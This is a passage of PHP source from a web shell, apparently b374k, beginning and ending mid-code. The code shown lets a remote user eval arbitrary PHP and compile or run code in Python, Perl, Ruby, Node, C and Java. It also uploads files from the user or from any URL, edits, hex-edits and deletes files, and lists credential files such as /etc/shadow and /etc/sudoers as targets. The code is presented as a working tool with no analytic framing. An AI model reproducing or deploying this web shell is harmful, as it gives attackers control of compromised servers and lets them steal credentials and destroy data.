foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'compresstar\'){ $s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd).substr(md5(time()),0,8).".tar\' name=\'compresstarok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'compresstargz\'){ $s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd).substr(md5(time()),0,8).".tar.gz\' name=\'compresstargzok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } } } if(isset($_GP[\'img\'])){ ob_end_clean(); $s_d = isset($_GP[\'d\'])? $_GP[\'d\']:""; $s_f = $_GP[\'img\']; $s_inf = @getimagesize($s_d.$s_f); $s_ext = explode($s_f, "."); $s_ext = $s_ext[count($s_ext)-1]; header("Content-type: ".$s_inf["mime"]); header("Cache-control: public"); header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); readfile($s_d.$s_f); die(); } elseif(isset($_GP[\'oldname\']) && isset($_GP[\'rename\'])){ $s_old = $_GP[\'oldname\']; $s_new = $_GP[\'rename\']; $s_renmsg = ""; if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; else $s_renmsg = "Cannot find the path specified ".$s_old; $s_result .= notif($s_renmsg); $s_fnew = $s_new; } elseif(!empty($_GP[\'del\'])){ $s_del = trim($_GP[\'del\']); $s_result .= notif("Delete ".basename($s_del)." ? <a href=\'".$s_self."delete=".pl($s_del)."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); } elseif(!empty($_GP[\'delete\'])){ $s_f = $_GP[\'delete\']; $s_delmsg = ""; if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f; elseif(@is_dir($s_f)){ rmdirs($s_f); $s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; } else $s_delmsg = "Cannot find the path specified ".$s_f; $s_result .= notif($s_delmsg); } elseif(!empty($_GP[\'mkdir\'])){ $s_f = $s_cwd.$_GP[\'mkdir\']; $s_dirmsg = ""; $s_num = 1; if(@is_dir($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1); while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f, 0, $s_pos)."_".$s_num; } if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; else $s_dirmsg = "Unable to create directory ".$s_f; $s_result .= notif($s_dirmsg); } if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'eval\')){ $s_code = ""; $s_res = ""; $s_evaloption = ""; $s_lang = "php"; if(isset($_GP[\'evalcode\'])){ $s_code = $_GP[\'evalcode\']; $s_evaloption = (isset($_GP[\'evaloption\']))? $_GP[\'evaloption\']:""; $s_tmpdir = get_writabledir(); if(isset($_GP[\'lang\'])){$s_lang = $_GP[\'lang\'];} if(strtolower($s_lang)==\'php\'){ ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); } elseif(strtolower($s_lang)==\'python\'||strtolower($s_lang)==\'perl\'||strtolower($s_lang)==\'ruby\'||strtolower($s_lang)==\'node\'||strtolower($s_lang)==\'nodejs\'){ $s_rand = md5(time().rand(0,100)); $s_script = $s_tmpdir.$s_rand; if(file_put_contents($s_script, $s_code)!==false){ $s_res = exe($s_lang." ".$s_evaloption." ".$s_script); unlink($s_script); } } elseif(strtolower($s_lang)==\'gcc\'){ $s_script = md5(time().rand(0,100)); chdir($s_tmpdir); if(file_put_contents($s_script.".c", $s_code)!==false){ $s_scriptout = $s_win ? $s_script.".exe" : $s_script; $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption); if(@is_file($s_scriptout)){ $s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); rename($s_scriptout, $s_scriptout."del"); unlink($s_scriptout."del"); } unlink($s_script.".c"); } chdir($s_cwd); } elseif(strtolower($s_lang)==\'java\'){ if(preg_match("/class\\ ([^{]+){/i",$s_code, $s_r)){ $s_classname = trim($s_r[1]); $s_script = $s_classname; } else{ $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); $s_script = $s_rand; $s_code = "class ".$s_rand." { ".$s_code . " } "; } chdir($s_tmpdir); if(file_put_contents($s_script.".java", $s_code)!==false){ $s_res = exe("javac ".$s_script.".java"); if(@is_file($s_script.".class")){ $s_res .= exe("java ".$s_evaloption." ".$s_script); unlink($s_script.".class"); } unlink($s_script.".java"); } chdir($s_pwd); } } $s_lang_available = "<option value=\'php\'>php</option>"; $s_selected = ""; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac"); foreach($s_access as $s){ if(isset($$s)){ $s_t = explode("_", $s); $s_checked = ($s_lang == $s_t[1])? "selected" : ""; $s_lang_available .= "<option value=\'".$s_t[1]."\' ".$s_checked.">".$s_t[1]."</option>"; } } $s_evaloptionclass = ($s_lang=="php")? "sembunyi":""; $s_e_result = (!empty($s_res))? "<pre id=\'evalres\' class=\'bt\' style=\'margin:4px 0 0 0;padding:6px 0;\' >".hss($s_res)."</pre>":""; $s_result .= "<form action=\'".$s_self."\' method=\'post\'> <textarea id=\'evalcode\' name=\'evalcode\' style=\'height:150px;\' class=\'txtarea\'>".hss($s_code)."</textarea> <table><tr><td style=\'padding:0;\'><p><input type=\'submit\' name=\'evalcodesubmit\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;\' /></p> </td><td><select name=\'lang\' onchange=\'evalselect(this);\' class=\'inputzbut\' style=\'width:120px;height:30px;padding:4px;\'> ".$s_lang_available." </select> </td> <td><div title=\'If you want to give additional option to interpreter or compiler, give it here\' id=\'additionaloption\' class=\'".$s_evaloptionclass."\'>Additional option&nbsp;&nbsp;<input class=\'inputz\' style=\'width:400px;\' type=\'text\' name=\'evaloption\' value=\'".hss($s_evaloption)."\' id=\'evaloption\' /></div></td> </tr> </table> ".$s_e_result." <input type=\'hidden\' name=\'x\' value=\'eval\' /> </form>"; } elseif(isset($_GP[\'find\'])){ $s_p = $_GP[\'find\']; $s_type = isset($_GP[\'type\'])? $_GP[\'type\'] : "sfile"; $s_sfname = (!empty($_GP[\'sfname\']))? $_GP[\'sfname\']:\'\'; $s_sdname = (!empty($_GP[\'sdname\']))? $_GP[\'sdname\']:\'\'; $s_sfcontain = (!empty($_GP[\'sfcontain\']))? $_GP[\'sfcontain\']:\'\'; $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = ""; $s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false; if(isset($_GP[\'sfnameregex\'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; } if(isset($_GP[\'sfnameicase\'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; } if(isset($_GP[\'sdnameregex\'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; } if(isset($_GP[\'sdnameicase\'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; } if(isset($_GP[\'sfcontainregex\'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; } if(isset($_GP[\'sfcontainicase\'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; } if(isset($_GP[\'swritable\'])){ $s_swritable=true; $s_swritablechecked="checked"; } if(isset($_GP[\'sreadable\'])){ $s_sreadable=true; $s_sreadablechecked="checked"; } if(isset($_GP[\'sexecutable\'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; } $s_sexecb = (function_exists("is_executable"))? "<input class=\'css-checkbox\' type=\'checkbox\' name=\'sexecutable\' value=\'sexecutable\' id=\'se\' ".$s_sexecutablechecked." /><label class=\'css-label\' for=\'se\'>Executable</span>":""; $s_candidate = array(); if(isset($_GP[\'sgo\'])){ $s_af = ""; $s_candidate = getallfiles($s_p); if($s_type==\'sfile\') $s_candidate = @array_filter($s_candidate, "is_file"); elseif($s_type==\'sdir\') $s_candidate = @array_filter($s_candidate, "is_dir"); foreach($s_candidate as $s_a){ if($s_type==\'sdir\'){ if(!empty($s_sdname)){ if($s_sdnameregex){ if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} } else{ if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));} } } } elseif($s_type==\'sfile\'){ if(!empty($s_sfname)){ if($s_sfnameregex){ if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} } else{ if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));} } } if(!empty($s_sfcontain)){ $s_sffcontent = @fgc($s_a); if($s_sfcontainregex){ if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(!preg_match("/".$s_sfcontain."/", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));} } else{ if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));} } } } } } $s_f_result = ""; $s_link=""; foreach($s_candidate as $s_c){ $s_c = trim($s_c); if($s_swritable && !@is_writable($s_c)) continue; if($s_sreadable && !@is_readable($s_c)) continue; if($s_sexecutable && !@is_executable($s_c)) continue; if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c); elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c)); $s_f_result .= "<p class=\'notif\' ondblclick=\\"return go(\'".adds($s_link)."\',event);\\"><a href=\'".$s_link."\'>".$s_c."</a></p>"; } $s_tsdir = ($s_type=="sdir")? "selected":""; $s_tsfile = ($s_type=="sfile")? "selected":""; if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p); $s_result .= "<form action=\'".$s_self."\' method=\'post\'> <div class=\'mybox\'><h2>Find</h2> <table class=\'myboxtbl\'> <tr><td style=\'width:140px;\'>Search in</td> <td colspan=\'2\'><input style=\'width:100%;\' value=\'".hss($s_p)."\' class=\'inputz\' type=\'text\' name=\'find\' /></td></tr> <tr onclick=\\"findtype(\'sdir\');\\"> <td>Dirname contains</td> <td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sdname\' value=\'".hss($s_sdname)."\' /></td> <td> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sdnameregex\' id=\'sdn\' ".$s_sdnameregexchecked." /><label class=\'css-label\' for=\'sdn\'>Regex (pcre)</label> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sdnameicase\' id=\'sdi\' ".$s_sdnameicasechecked." /><label class=\'css-label\' for=\'sdi\'>Case Insensitive</label> </td> </tr> <tr onclick=\\"findtype(\'sfile\');\\"> <td>Filename contains</td> <td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sfname\' value=\'".hss($s_sfname)."\' /></td> <td> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sfnameregex\' id=\'sfn\' ".$s_sfnameregexchecked." /><label class=\'css-label\' for=\'sfn\'>Regex (pcre)</label> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sfnameicase\' id=\'sfi\' ".$s_sfnameicasechecked." /><label class=\'css-label\' for=\'sfi\'>Case Insensitive</label> </td> </tr> <tr onclick=\\"findtype(\'sfile\');\\"> <td>File contains</td> <td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sfcontain\' value=\'".hss($s_sfcontain)."\' /></td> <td> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sfcontainregex\' id=\'sff\' ".$s_sfcontainregexchecked." /><label class=\'css-label\' for=\'sff\'>Regex (pcre)</label> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sfcontainicase\' id=\'sffi\' ".$s_sfcontainicasechecked." /><label class=\'css-label\' for=\'sffi\'>Case Insensitive</label> </td> </tr> <tr> <td>Permissions</td> <td colspan=\'2\'> <input type=\'checkbox\' class=\'css-checkbox\' name=\'swritable\' id=\'sw\' ".$s_swritablechecked." /><label class=\'css-label\' for=\'sw\'>Writable</label> <input type=\'checkbox\' class=\'css-checkbox\' name=\'sreadable\' id=\'sr\' ".$s_sreadablechecked." /><label class=\'css-label\' for=\'sr\'>Readable</label> ".$s_sexecb." </td> </tr> <tr><td> <input type=\'submit\' name=\'sgo\' class=\'inputzbut\' value=\'Search !\' style=\'width:120px;height:30px;margin:0;\' /> </td> <td> <select name=\'type\' id=\'type\' class=\'inputzbut\' style=\'width:120px;height:30px;margin:0;padding:4px;\'> <option value=\'sfile\' ".$s_tsfile.">Search file</option> <option value=\'sdir\' ".$s_tsdir.">Search dir</option> </select> </td> <td></td></tr> </table> </div> </form> <div> ".$s_f_result." </div>"; } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'upload\')){ $s_result = " "; $s_msg = ""; if(isset($_GP[\'uploadhd\'])){ $c = count($_FILES[\'filepath\'][\'name\']); for($i = 0; $i<$c; $i++){ $s_fn = $_FILES[\'filepath\'][\'name\'][$i]; if(empty($s_fn)) continue; if(is_uploaded_file($_FILES[\'filepath\'][\'tmp_name\'][$i])){ $s_p = cp($_GP[\'savefolder\'][$i]); if(!@is_dir($s_p)) mkdir($s_p); if(isset($_GP[\'savefilename\'][$i]) && (trim($_GP[\'savefilename\'][$i])!="")) $s_fn = $_GP[\'savefilename\'][$i]; $s_tm = $_FILES[\'filepath\'][\'tmp_name\'][$i]; $s_pi = cp($s_p).$s_fn; $s_st = @move_uploaded_file($s_tm,$s_pi); if($s_st) $s_msg .= notif("File uploaded to <a href=\'".$s_self."view=".pl($s_pi)."\'>".$s_pi."</a>"); else $s_msg .= notif("Failed to upload ".$s_fn); } else $s_msg .= notif("Failed to upload ".$s_fn); } } elseif(isset($_GP[\'uploadurl\'])){ $c = count($_GP[\'fileurl\']); for($i = 0; $i<$c; $i++){ $s_fu = $_GP[\'fileurl\'][$i]; if(empty($s_fu)) continue; $s_p = cp($_GP[\'savefolderurl\'][$i]); if(!@is_dir($s_p)) mkdir($s_p); $s_fn = basename($s_fu); if(isset($_GP[\'savefilenameurl\'][$i]) && (trim($_GP[\'savefilenameurl\'][$i])!="")) $s_fn = $_GP[\'savefilenameurl\'][$i]; $s_fp = cp($s_p).$s_fn; $s_st = dlfile($s_fu,$s_fp); if($s_st) $s_msg .= notif("File uploaded to <a href=\'".$s_self."view=".pl($s_fp)."\'>".$s_fp."</a>"); else $s_msg .= notif("Failed to upload ".$s_fn); } } else{ if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one"); } if(!empty($s_msg)) $s_result .= $s_msg; $s_result .= " <form action=\'".$s_self."\' method=\'post\' enctype=\'multipart/form-data\'> <div class=\'mybox\'><h2><div class=\'but\' onclick=\'adduploadc();\'>+</div>Upload from computer</h2> <table class=\'myboxtbl\'> <tbody id=\'adduploadc\'> <tr><td style=\'width:140px;\'>File</td><td><input type=\'file\' name=\'filepath[]\' class=\'inputzbut\' style=\'width:400px;margin:0;\' /></td></tr> <tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolder[]\' value=\'".hss($s_cwd)."\' /></td></tr> <tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilename[]\' value=\'\' /></td></tr> </tbody> <tfoot> <tr><td>&nbsp;</td><td> <input type=\'submit\' name=\'uploadhd\' class=\'inputzbut\' value=\'Upload !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> <input type=\'hidden\' name=\'x\' value=\'upload\' /> </td></tr> </tfoot> </table> </div> </form> <form action=\'".$s_self."\' method=\'post\'> <div class=\'mybox\'><h2><div class=\'but\' onclick=\'adduploadi();\'>+</div>Upload from internet</h2> <table class=\'myboxtbl\'> <tbody id=\'adduploadi\'> <tr><td style=\'width:150px;\'>File URL</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'fileurl[]\' value=\'\' /> </td></tr> <tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolderurl[]\' value=\'".hss($s_cwd)."\' /></td></tr> <tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilenameurl[]\' value=\'\' /></td></tr> </tbody> <tfoot> <tr><td>&nbsp;</td><td> <input type=\'submit\' name=\'uploadurl\' class=\'inputzbut\' value=\'Upload !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> <input type=\'hidden\' name=\'x\' value=\'upload\' /> </td></tr> </table> </div> </form>"; } elseif(isset($_GP[\'view\'])){ $s_f = $_GP[\'view\']; if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew; $s_owner = ""; if(@is_file($s_f)){ $targetdir = dirname($s_f); chdir($targetdir); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_f)); $s_group = posix_getgrgid(filegroup($s_f)); $s_owner = "<tr><td>Owner</td><td>".$s_name[\'name\']."<span class=\'gaya\'>:</span>".$s_group[\'name\']."</td></tr>"; } $s_filn = basename($s_f); $s_result .= "<table class=\'viewfile\' style=\'width:100%;\'> <tr><td style=\'width:140px;\'>Filename</td><td><span id=\'".cs($s_filn)."_link\'>".$s_f."</span> <div id=\'".cs($s_filn)."_form\' class=\'sembunyi\'> <form action=\'".$s_self."\' method=\'post\'> <input type=\'hidden\' name=\'oldname\' value=\'".hss($s_f)."\' style=\'margin:0;padding:0;\' /> <input type=\'hidden\' name=\'view\' value=\'".hss($s_f)."\' /> <input class=\'inputz\' style=\'width:200px;\' type=\'text\' name=\'rename\' value=\'".hss($s_f)."\' /> <input class=\'inputzbut\' type=\'submit\' value=\'rename\' /> </form> <input class=\'inputzbut\' type=\'button\' value=\'x\' onclick=\\"tukar_(\'".cs($s_filn)."_form\',\'".cs($s_filn)."_link\');\\" /> </div> </td></tr> <tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr> <tr><td>Permission</td><td>".gp($s_f)."</td></tr> ".$s_owner." <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr> <tr><td>Actions</td><td> <a href=\'".$s_self."edit=".pl($s_f)."\' title=\'edit\'>edit</a> | <a href=\'".$s_self."hexedit=".pl($s_f)."\' title=\'edit as hex\'>hex</a> | <a href=\\"javascript:tukar_(\'".cs($s_filn)."_link\',\'".cs($s_filn)."_form\');\\" title=\'rename\'>ren</a> | <a href=\'".$s_self."del=".pl($s_f)."\' title=\'delete\'>del</a> | <a href=\'".$s_self."dl=".pl($s_f)."\'>dl</a> </td></tr> <tr><td>View</td><td> <a href=\'".$s_self."view=".pl($s_f)."&type=text"."\'>text</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=code"."\'>code</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=image"."\'>image</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=audio"."\'>audio</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=video"."\'>video</a> </td></tr> </table>"; $s_t = ""; $s_mime = ""; $s_mime_list = gzinflate(base64_decode($s_mime_types)); $s_ext_pos = strrpos($s_f, "."); if($s_ext_pos!==false){ $s_ext = trim(substr($s_f, $s_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$s_ext."\\b.*/i",$s_mime_list,$s_r)){ $s_mime = $s_r[1]; } } $s_iinfo = @getimagesize($s_f); if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code"; elseif(is_array($s_iinfo)) $s_t = \'image\'; elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/")); if(isset($_GP[\'type\'])) $s_t = $_GP[\'type\']; if($s_t=="image"){ $s_width = (int) $s_iinfo[0]; $s_height = (int) $s_iinfo[1]; $s_imginfo = "Image type = ( ".$s_iinfo[\'mime\']." )<br /> Image Size = <span class=\'gaul\'>( </span>".$s_width." x ".$s_height."<span class=\'gaul\'> )</span><br />"; if($s_width > 800){ $s_width = 800; $s_imglink = "<p><a href=\'".$s_self."img=".pl($s_filn)."\'> <span class=\'gaul\'>[ </span>view full size<span class=\'gaul\'> ]</span></a></p>"; } else $s_imglink = ""; $s_result .= "<div class=\'viewfilecontent\' style=\'text-align:center;\'>".$s_imglink." <img width=\'".$s_width."\' src=\'".$s_self."img=".pl($s_filn)."\' alt=\'".$s_filn."\' style=\'margin:8px auto;padding:0;border:0;\' /></div>"; } elseif($s_t=="code"){ $s_result .= "<div class=\\"viewfilecontent\\">"; $s_file = wordwrap(@fgc($s_f),160,"\\n",true); $s_buff = highlight_string($s_file,true); $s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700"); $s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark; $s_buff = str_replace($s_old,$s_new, $s_buff); $s_result .= $s_buff; $s_result .= "</div>"; } elseif($s_t=="audio" || $s_t=="video"){ $s_result .= "<div class=\'viewfilecontent\' style=\'text-align:center;\'> <".$s_t." controls> <source src=\'".hss($s_self."dltype=raw&dlpath=".$s_f)."\' type=\'".$s_mime."\'> <object data=\'".hss($s_self."dltype=raw&dlpath=".$s_f)."\'> <embed src=\'".hss($s_self."dltype=raw&dlpath=".$s_f)."\'> </object> </".$s_t."> </div>"; } else { $s_result .= "<pre style=\'padding: 3px 8px 0 8px;\' class=\'viewfilecontent\'>"; $s_result .= str_replace("<", "&lt;",str_replace(">", "&gt;",(wordwrap(@fgc($s_f),160,"\\n",true)))); $s_result .= "</pre>"; } } elseif(@is_dir($s_f)){ chdir($s_f); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); $s_result .= showdir($s_cwd); } else $s_result .= notif("Cannot find the path specified ".$s_f); } elseif(isset($_GP[\'edit\'])){ $s_f = $_GP[\'edit\']; $s_fc = ""; $s_fcs = ""; if(isset($_GP[\'new\']) && ($_GP[\'new\']==\'yes\')){ $s_num = 1; if(@is_file($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f,0,$s_pos)."_".$s_num; } } else if(@is_file($s_f)) $s_fc = @fgc($s_f); if(isset($_GP[\'fc\'])){ $s_fc = $_GP[\'fc\']; $s_eol = $_GP[\'eol\']; $s_eolf = pack("H*", geol($s_fc)); $s_eolh = pack("H*", $s_eol); $s_fc = str_replace($s_eolf, $s_eolh, $s_fc); if($s_filez = fopen($s_f,"w")){ $s_time = @date("d-M-Y H:i:s",time()); if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time; else $s_fcs = "Failed to save"; fclose($s_filez); } else $s_fcs = "Permission denied"; } elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable"; $s_eol = geol($s_fc); if(!empty($s_fcs)) $s_result .= notif($s_fcs); $s_result .= "<form action=\'".$s_self."\' method=\'post\'> <textarea id=\'fc\' name=\'fc\' class=\'txtarea\'>".hss($s_fc)."</textarea> <p style=\'text-align:center;\'><input type=\'text\' class=\'inputz\' style=\'width:99%;\' name=\'edit\' value=\'".hss($s_f)."\' /></p> <p><input type=\'submit\' class=\'inputzbut\' value=\'Save !\' style=\'width:120px;height:30px;\' /></p> <input type=\'hidden\' name=\'eol\' value=\'".$s_eol."\' /> </form>"; } elseif(isset($_GP[\'hexedit\'])){ $s_f = $_GP[\'hexedit\']; $s_fc = "";\t$s_fcs = ""; $s_hexes = ""; $s_lnum = 0; if(!empty($_GP[\'hx\']) || !empty($_GP[\'hxt\'])){ if(!empty($_GP[\'hx\'])){ foreach($_GP[\'hx\'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex); } elseif(!empty($_GP[\'hxt\'])){ $s_hexes = trim($_GP[\'hxt\']); } if($s_filez = fopen($s_f,"w")){ $s_bins = pack("H*", $s_hexes); $s_time = @date("d-M-Y H:i:s", time()); if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time; else $s_fcs = "Failed to save"; fclose($s_filez); } else $s_fcs = "Permission denied"; } else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable"; if(!empty($s_fcs)) $s_result .= notif($s_fcs); $s_result .= "<form action=\'".$s_self."\' method=\'post\'><p class=\'ce mp\'><input type=\'text\' class=\'inputz\' style=\'width:100%;\' name=\'hexedit\' value=\'".hss($s_f)."\' /></p><p class=\'bb\' style=\'padding:0 0 14px 0;\'><input type=\'submit\' class=\'inputzbut\' value=\'Save !\' style=\'width:120px;height:30px;\' onclick=\\"return sh();\\" /></p><table class=\'explore\'>"; if(@is_file($s_f)){ $s_fp = fopen($s_f, "r"); if($s_fp) { $s_ldump = ""; $s_counter = 0; $s_icounter = 0; while(!feof($s_fp)){ $s_line = fread($s_fp, 32); $s_linehex = strtoupper(bin2hex($s_line)); $s_linex = str_split($s_linehex, 2); $s_linehex = implode(" ", $s_linex); $s_addr = sprintf("%08xh", $s_icounter); $s_result .= "<tr><td class=\'ce w60\'>".$s_addr."</td><td class=\'le w594\'><input onselect=\'this.selectionEnd=this.selectionStart;\' onclick=\\"hu(\'".$s_counter."\',event);\\" onkeydown=\\"return hf(\'".$s_counter."\',event);\\" onkeyup=\\"hu(\'".$s_counter."\',event);\\" type=\'text\' class=\'inputz w578\' id=\'hex_".$s_counter."\' name=\'hx[]\' value=\'".$s_linehex."\' maxlength=\'".strlen($s_linehex)."\' /></td><td class=\'le ls2\'><pre name=\'hexdump\' id=\'dump_".$s_counter."\' class=\'mp\'></pre></td></tr>"; $s_counter++; $s_icounter+=32; } $s_result .= "<input type=\'hidden\' id=\'counter\' value=\'".$s_counter."\' />"; $s_result .= "<textarea name=\'hxt\' id=\'hxt\' class=\'sembunyi\'></textarea>"; fclose($s_fp); } } $s_result .= "</table></form>"; } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'info\')){ $s_result = ""; $s_result .= "<p class=\'notif\' onclick=\\"toggle(\'info_server\')\\">Server Info</p>"; $s_result .= "<div class=\'info\' id=\'info_server\'><table>"; if($s_win){ foreach (range("A", "Z") as $s_letter){ if((@is_dir($s_letter.":\\\\") && @is_readable($s_letter.":\\\\"))){ $s_drive = $s_letter.":"; $s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>"; } } } else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>"; $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl"); foreach($s_access as $s){ $s_t = explode("_", $s); if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>"; } if(!$s_win){ $s_interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", 